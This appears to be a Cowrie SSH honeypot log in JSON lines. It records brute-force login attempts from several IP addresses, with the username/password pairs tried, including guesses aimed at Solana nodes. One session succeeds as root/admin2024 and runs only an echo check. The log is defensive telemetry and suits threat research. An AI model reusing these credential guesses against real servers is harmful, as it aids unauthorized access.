{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35574,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ecdda8f548","protocol":"ssh","message":"New connection: 2.57.122.96:35574 (159.203.135.109:22) [session: 43ecdda8f548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:15.956610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:15.959946Z","src_ip":"2.57.122.96","session":"43ecdda8f548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:16.053668Z","src_ip":"2.57.122.96","session":"43ecdda8f548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"4rfv$RFV","message":"login attempt [sol/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:16.338007Z","src_ip":"2.57.122.96","session":"43ecdda8f548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:17.480826Z","src_ip":"2.57.122.96","session":"43ecdda8f548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":45506,"dst_ip":"159.203.135.109","dst_port":22,"session":"2490f5b79560","protocol":"ssh","message":"New connection: 160.191.244.236:45506 (159.203.135.109:22) [session: 2490f5b79560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:35.865519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:35.869857Z","src_ip":"160.191.244.236","session":"2490f5b79560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:36.101851Z","src_ip":"160.191.244.236","session":"2490f5b79560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password","message":"login attempt [ansible/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:37.070584Z","src_ip":"160.191.244.236","session":"2490f5b79560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:41:38.310921Z","src_ip":"160.191.244.236","session":"2490f5b79560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae63dc367b4e","protocol":"ssh","message":"New connection: 2.57.122.208:55712 (159.203.135.109:22) [session: ae63dc367b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:42:58.537966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:42:58.653047Z","src_ip":"2.57.122.208","session":"ae63dc367b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:42:58.656078Z","src_ip":"2.57.122.208","session":"ae63dc367b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:42:59.614944Z","src_ip":"2.57.122.208","session":"ae63dc367b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:00.797126Z","src_ip":"2.57.122.208","session":"ae63dc367b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58358,"dst_ip":"159.203.135.109","dst_port":22,"session":"f43e3fa389ad","protocol":"ssh","message":"New connection: 193.32.162.145:58358 (159.203.135.109:22) [session: f43e3fa389ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:09.321705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:09.324823Z","src_ip":"193.32.162.145","session":"f43e3fa389ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:09.425236Z","src_ip":"193.32.162.145","session":"f43e3fa389ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:09.797254Z","src_ip":"193.32.162.145","session":"f43e3fa389ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:10.900379Z","src_ip":"193.32.162.145","session":"f43e3fa389ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae4992a4732","protocol":"ssh","message":"New connection: 160.191.244.236:52588 (159.203.135.109:22) [session: 7ae4992a4732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:40.137123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:40.141209Z","src_ip":"160.191.244.236","session":"7ae4992a4732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:40.370529Z","src_ip":"160.191.244.236","session":"7ae4992a4732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp2","password":"ftp2123","message":"login attempt [ftp2/ftp2123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:41.320925Z","src_ip":"160.191.244.236","session":"7ae4992a4732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:43:42.570421Z","src_ip":"160.191.244.236","session":"7ae4992a4732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":59370,"dst_ip":"159.203.135.109","dst_port":22,"session":"062bfaf2b5b6","protocol":"ssh","message":"New connection: 2.57.122.96:59370 (159.203.135.109:22) [session: 062bfaf2b5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:14.457227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:14.471586Z","src_ip":"2.57.122.96","session":"062bfaf2b5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:14.562474Z","src_ip":"2.57.122.96","session":"062bfaf2b5b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"4rfv$RFV","message":"login attempt [solana/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:15.146281Z","src_ip":"2.57.122.96","session":"062bfaf2b5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:16.297405Z","src_ip":"2.57.122.96","session":"062bfaf2b5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":36046,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0336f608aaa","protocol":"ssh","message":"New connection: 196.188.63.205:36046 (159.203.135.109:22) [session: e0336f608aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:19.587113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:19.590842Z","src_ip":"196.188.63.205","session":"e0336f608aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:19.800968Z","src_ip":"196.188.63.205","session":"e0336f608aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mgeweb","password":"1234","message":"login attempt [mgeweb/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:20.658785Z","src_ip":"196.188.63.205","session":"e0336f608aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:21.870413Z","src_ip":"196.188.63.205","session":"e0336f608aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":37004,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d69612824e","protocol":"ssh","message":"New connection: 78.128.112.74:37004 (159.203.135.109:22) [session: c9d69612824e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:56.067351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:56.319232Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:56.322456Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin2024","message":"login attempt [root/admin2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:57.689385Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:57.991540Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:57.994387Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:58.110048Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:44:58.452682Z","src_ip":"78.128.112.74","session":"c9d69612824e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"825391a1f06f","protocol":"ssh","message":"New connection: 2.57.122.208:40642 (159.203.135.109:22) [session: 825391a1f06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:20.078658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:20.113805Z","src_ip":"2.57.122.208","session":"825391a1f06f","protocol":"ssh"}
